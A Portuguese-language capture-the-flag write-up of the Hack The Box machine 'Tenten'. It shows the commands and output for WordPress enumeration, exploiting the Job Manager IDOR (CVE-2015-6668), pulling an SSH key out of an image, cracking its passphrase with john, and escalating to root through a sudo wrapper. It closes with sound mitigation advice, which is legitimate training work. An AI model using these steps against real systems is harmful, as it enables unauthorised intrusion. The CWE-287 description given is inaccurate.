Tenten - HTB Medium Machine - Português Brasil

OS Linux
Difficulty Medium
User Owns 5.3K
Root Owns 5.3K
Rating 4.5/5
Release 2017/03/22
Creator ch4p
First Blood User vagmour
First Blood Root vagmour
User Rated Difficulty

Sobre

Tenten é uma máquina de dificuldade média que exige um raciocínio inovador/estilo CTF para ser concluída. Ela demonstra a gravidade do uso de plugins obsoletos do Wordpress, que é um grande vetor de ataque na vida real.

Exploração

Enumeração

Um scan com nmap usando o fastmap não trouxe informações além das portas conhecidas. Como a porta 80 está aberta, verifiquei o site para buscar algo interessante.

PORT   STATE    SERVICE VERSION  
22/tcp filtered ssh  
80/tcp filtered http

O site redireciona para a URL tenten.htb, então adicionei a entrada no hosts:

echo "10.10.10.10 tenten.htb" | sudo tee -a /etc/hosts

É um website em wordpress, essa interface é um tema padrão existente.

Screenshot

Ao ver um site WordPress, a primeira ferramenta que uso é o wpscan para enumeração e detecção de possíveis vulnerabilidades. Para obter vulnerabilidades detalhadas é necessário fornecer a API key do WPScan.

wpscan --url http://tenten.htb -e ap,t,tt,u --api-token $WPSCANKEY

Tip

Se ficar com dúvida de como este processo funciona na prática e seu passo a passo, peço que leia essa seção do cookbook.

O output é extenso e inclui muitas possíveis vulnerabilidades, muitas exigem autenticação, filtrei alguns resultados. Abaixo estão trechos relevantes que filtrei:

┌── ➤ tenten  
└─ $ wpscan --url http://tenten.htb -e ap,t,tt,u --api-token $WPSCANKEY  
 
You can add reline to your Gemfile or gemspec to silence this warning.  
_______________________________________________________________  
        __          _______   _____  
        \ \        / /  __ \ / ____|  
         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®  
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \  
           \  /\  /  | |     ____) | (__| (_| | | | |  
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|  
  
        WordPress Security Scanner by the WPScan Team  
                        Version 3.8.28  
      Sponsored by Automattic - https://automattic.com/  
      @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart  
_______________________________________________________________  
  
[+] URL: http://tenten.htb/ [10.10.10.10]  
[+] Started: Mon Sep 22 16:10:51 2025  
  
Interesting Finding(s):  
  
[+] Headers  
| Interesting Entry: Server: Apache/2.4.18 (Ubuntu)  
| Found By: Headers (Passive Detection)  
| Confidence: 100%  

| ....SNIP... 

Também foram identificadas possíveis vulnerabilidades de SQL injection, mas o site não parece oferecer pontos de entrada fáceis para explorá-las de imediato, vou analisar melhor ela depois.

| [!] Title: WordPress < 5.8.3 - SQL Injection via WP_Query  
|     Fixed in: 4.7.22  
|     References:  
|      - https://wpscan.com/vulnerability/7f768bcf-ed33-4b22-b432-d1e7f95c1317  
|      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21661  
|      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-6676-cqfm-gw84  
|      - https://hackerone.com/reports/1378209  
|
| [!] Title: WordPress 4.1-5.8.2 - SQL Injection via WP_Meta_Query  
|     Fixed in: 4.7.22  
|     References:  
|      - https://wpscan.com/vulnerability/24462ac4-7959-4575-97aa-a6dcceeae722  
|      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21664  
|      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-jp3p-gw8h-6x86  
| 
....SNIP....

Uma das descobertas interessantes foi o plugin job-manager. Essa vulnerabilidade pode ser interessante, visto que pode haver informações sensíveis em algum diretório sem a exigência de autenticação.

[+] job-manager  
| Location: http://tenten.htb/wp-content/plugins/job-manager/  
| Latest Version: 0.7.25 (up to date)  
| Last Updated: 2015-08-25T22:44:00.000Z  
|  
| Found By: Urls In Homepage (Passive Detection)  
|  
| [!] 2 vulnerabilities identified:  
|  
| [!] Title: Job Manager <= 0.7.25 -  Insecure Direct Object Reference (IDOR)  
|     References:  
|      - https://wpscan.com/vulnerability/9fd14f37-8c45-46f9-bcb6-8613d754dd1c  
|      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6668  
|      - https://vagmour.eu/cve-2015-6668-cv-filename-disclosure-on-job-manager-wordpress-plugin/  
|  
...SNIP...

O scan também identificou o nome de usuário takis:

[i] User(s) Identified:  
[+] takis  
| Found By: Author Posts - Author Pattern (Passive Detection)  
| Confirmed By:  
|  Rss Generator (Passive Detection)  
|  Wp Json Api (Aggressive Detection)  
|   - http://tenten.htb/index.php/wp-json/wp/v2/users/?per_page=100&page=1  
|  Author Id Brute Forcing - Author Pattern (Aggressive Detection)  
|  Login Error Messages (Aggressive Detection)

A falha no plugin Job Manager corresponde à CVE-2015-6668. Trata‑se de um IDOR (Insecure Direct Object Reference) que permite ler arquivos sem autorização, pois os nomes no diretório de uploads são previsíveis. Um atacante pode, portanto, adivinhar nomes de arquivos por força bruta no diretório padrão do WordPress.

Esta vulnerabilidade está relacionada a CWE‑287, descrita como "exposição de recursos ou funcionalidades a agentes não intencionais, podendo vazar informações confidenciais ou permitir execução indevida".

cwe-287

No site há um link chamado Jobs Listing, que não parece vir com o tema padrão.

Screenshot

Essa página lista vagas; ao clicar em Apply Now chegamos à página de detalhes de cada vaga.

Screenshot

Na página de descrição do job, a URL com um número (por exemplo /8/) sugere que é possível enumerar entradas alterando esse identificador.

Screenshot

Testando /1/ retornou o título "Job Application: Hello world!", o mesmo título da home, o que indica que a página possivelmente retorna qualquer arquivo com base no número.

Screenshot

Com um teste simples via curl extraí o título da aplicação correspondente:

┌── ➤ tenten  
└─ $ curl -s http://tenten.htb/index.php/jobs/apply/8/ | grep 'entry-title' | cut -d'>' -f2 | cut -d'<' -f1  
Job Application: Pen Tester

Usando um loop for é possível enumerar várias entradas. Encontrei uma chamada HackerAccessGranted, que parece interessante e não faz parte dos conteúdos padrão.

┌── ➤ tenten  
└─ $ for i in $(seq 1 25); do echo -n "$i: "; curl -s http://tenten.htb/index.php/jobs/apply/$i/ | grep 'entry-title'  
| cut -d'>' -f2 | cut -d'<' -f1; done  
1: Job Application: Hello world!  
2: Job Application: Sample Page  
3: Job Application: Auto Draft  
4: Job Application  
5: Job Application: Jobs Listing  
6: Job Application: Job Application  
7: Job Application: Register  
8: Job Application: Pen Tester  
9: Job Application:  
10: Job Application: Application  
11: Job Application: cube  
12: Job Application: Application  
13: Job Application: HackerAccessGranted  
14: Job Application  
15: Job Application  
16: Job Application  
17: Job Application  
18: Job Application  
19: Job Application  
20: Job Application  
21: Job Application  
22: Job Application  
23: Job Application  
24: Job Application  
25: Job Application

Voltando à CVE‑2015‑6668, há um script que faz brute force no diretório de uploads do WordPress e parece ter sido criado somente para essa machine. Eu criei uma versão em Rust mais completa, tanto para explorar melhor a CVE quanto para praticar Rust.

Você pode clonar o meu repositório e seguir as instruções de uso. Executando o script obtive a URL de uma imagem já identificada anteriormente:

┌── ➤ cve-2015-6668
└─ [master*]$ cargo run -- -u http://tenten.htb -f HackerAccessGranted

===============================================================================
|Job Manager <= 0.7.25 - Insecure Direct Object Reference IDOR (CVE-2015-6668)|
===============================================================================

[+] URL of CV found! http://tenten.htb/wp-content/uploads/2017/04/HackerAccessGranted.jpg

Essa url leva a essa imagem. No primeiro momento ela não quer dizer muita coisa, mas já que temos só isso, vamos ver o que da pra tirar de vantagem dessa imagem.

Screenshot

Ponto de Entrada

Com o steghide extraí um arquivo id_rsa embutido na imagem (sem passphrase):

└─ $ steghide extract -sf HackerAccessGranted.jpg    
Enter passphrase:    
wrote extracted data to "id_rsa".

Usei o ssh2john para converter a chave e depois o john com a lista rockyou; o password encontrado foi superpassword:

└─ $ ssh2john id_rsa > id_rsa.john

usando a lista rockyou para conseguir quebrar o password e retornou o password superpassword

└─ $ john id_rsa.john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt  

Press 'q' or Ctrl-C to abort, almost any other key for status  
superpassword    (id_rsa)  

Session completed

Com o nome do usuário takis e a senha superpassword, e sabendo que a porta SSH (22) está acessível, tentei a conexão.

Antes disso, ajustei as permissões da chave:

┌── ➤ tenten  
└─ $ chmod 600 id_rsa  

Então logando com o ssh e fazendo alguns tweaks, pois o ssh da maquina é bem antiga comparado a do meu host. Utilizando o passphrase superpassword consegui o shell

┌── ➤ tenten  
└─ $ ssh -i id_rsa -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa takis@tenten.htb  
Enter passphrase for key 'id_rsa':    
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-62-generic x86_64)  
  
* Documentation:  https://help.ubuntu.com  
* Management:     https://landscape.canonical.com  
* Support:        https://ubuntu.com/advantage  
  
65 packages can be updated.  
39 updates are security updates.  
  
  
Last login: Fri May  5 23:05:36 2017  
To run a command as administrator (user "root"), use "sudo <command>".  
See "man sudo_root" for details.  
  
takis@tenten:~$

USER

Com o usuário takis consegui ler a flag do usuário:

takis@tenten:~$ cat user.txt    
28da5ca5efa71b.....

Escalação de Privilégios

Ao executar sudo -l verifiquei que takis pode rodar um binário especificado sem senha:

takis@tenten:~$ sudo -l  
Matching Defaults entries for takis on tenten:  
   env_reset, mail_badpass,  
   secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:  
/bin\:/snap/bin  
  
User takis may run the following commands on tenten:  
   (ALL : ALL) ALL  
   (ALL) NOPASSWD: /bin/fuckin

O binário /bin/fuckin é apenas um wrapper que executa seu primeiro argumento como comando, o que permite elevar privilégios:

takis@tenten:~$ cat /bin/fuckin  
#!/bin/bash  
$1 $2 $3 $4

Basta executar um shell com sudo através desse wrapper para obter root:

takis@tenten:~$ sudo fuckin bash

root@tenten:~# id  
uid=0(root) gid=0(root) groups=0(root)

ROOT

Como root, acessei o diretório /root e li a segunda flag:

root@tenten:/root# cat root.txt    
9cb5b836b163d.....

Análise de Vulnerabilidades

  • IDOR no plugin Job Manager (CVE-2015-6668): o plugin expõe arquivos do diretório de uploads através de identificadores previsíveis, permitindo enumeração por força bruta (ex.: /index.php/jobs/apply/<id>/ e brute force em /wp-content/uploads/...). No writeup isso levou à descoberta de um arquivo sensível (HackerAccessGranted.jpg), impacto direto na confidencialidade dos dados hospedados.
  • Chave privada embutida e fraca proteção por senha: uma chave id_rsa foi extraída de uma imagem com steghide e sua passphrase foi quebrada com john + rockyou, permitindo acesso SSH com a conta takis. Isso demonstra exposição de segredos e uso de passphrases fracas, com impacto de comprometimento de conta e possível escalonamento.
  • Sudoers mal configurado / wrapper inseguro: o usuário takis pôde executar /bin/fuckin sem senha; o binário apenas executa seu primeiro argumento ($1), o que permite executar um shell como root. Resultado: escalonamento completo de privilégio (controle total do sistema).
  • Enumeração de usuários e exposição de informações do servidor: o WP REST API e padrões do WordPress revelaram o nome de usuário takis e os headers indicam versão/servidor (Apache), facilitando ataques direcionados como brute force ou phishing. Isso reduz a dificuldade de ataques de autenticação.
  • Possíveis vulnerabilidades de SQL injection detectadas pelo WPScan: o scanner identificou assinaturas de CVEs relacionadas a WP_Query e WP_Meta_Query. Embora não tenham sido exploradas neste writeup, representam risco sério de divulgação e modificação de dados se o site efetivamente executar entradas não tratadas.

Mitigação de Vulnerabilidades

  • IDOR no plugin Job Manager (CVE-2015-6668): remova ou atualize o plugin imediatamente para uma versão corrigida; se não for possível, desative o endpoint público de downloads/visualização ou aplique autenticação/checagem de autorização servidor‑side. Developers: valide sempre o controle de acesso por objeto (não confie em identificadores previsíveis) e use nomes de arquivo não previsíveis (UUIDs) ao salvar uploads.
  • Chave privada embutida / passphrase fraca: trate chaves como segredos, nunca as coloque em arquivos públicos nem embedadas em imagens. Sysadmin: revogue e gere novas chaves quando houver suspeita de exposição; force políticas de passphrase fortes e considere autenticação multifator. Implemente varreduras DLP/monitoramento para detectar uploads contendo chaves privadas.
  • Sudoers / wrapper inseguro: remova a entrada NOPASSWD para /bin/fuckin ou substitua por uma regra que limite argumentos e comandos explícitos. Sysadmin: aplique o princípio do menor privilégio no sudoers, evite wrappers que executem entradas arbitrárias e audite regras sudo regularmente; se necessário, substitua por scripts validados com paths e checks rígidos.
  • Enumeração de usuários e exposição de headers: para o sysadmin, desative ou limite o WP REST API exposure (bloquear endpoints públicos de usuários), implemente rate limiting e bloqueio temporário de IPs após tentativas falhas. Omitir ou minimizar banners do servidor (ServerTokens/ServerSignature) reduz fingerprinting.
  • SQL injection (potencial): corrija o WordPress/core/plugins para as versões com patch imediatamente. Developers: use as APIs oficiais do WordPress e prepared statements para qualquer query personalizada; adote WAFs/filtragem para proteger inputs e inclua testes de segurança (SAST/DAST) no ciclo de desenvolvimento.

Notas

Se gostou desse writeup, me envie um respect no meu perfil do hackthebox. Eu ficaria muito feliz em saber que estou te ajudando em algo.
Se algo escrito aqui não estiver claro, recomendo consultar a seção cookbook. Se não encontrar a resposta ou precisar de mais esclarecimentos, entre em contato pelo email.

Referências

the master 0xdf
wpscan
Job Manager <= 0.7.25 - Insecure Direct Object Reference (IDOR)
CWE-287
CVE-2015-6668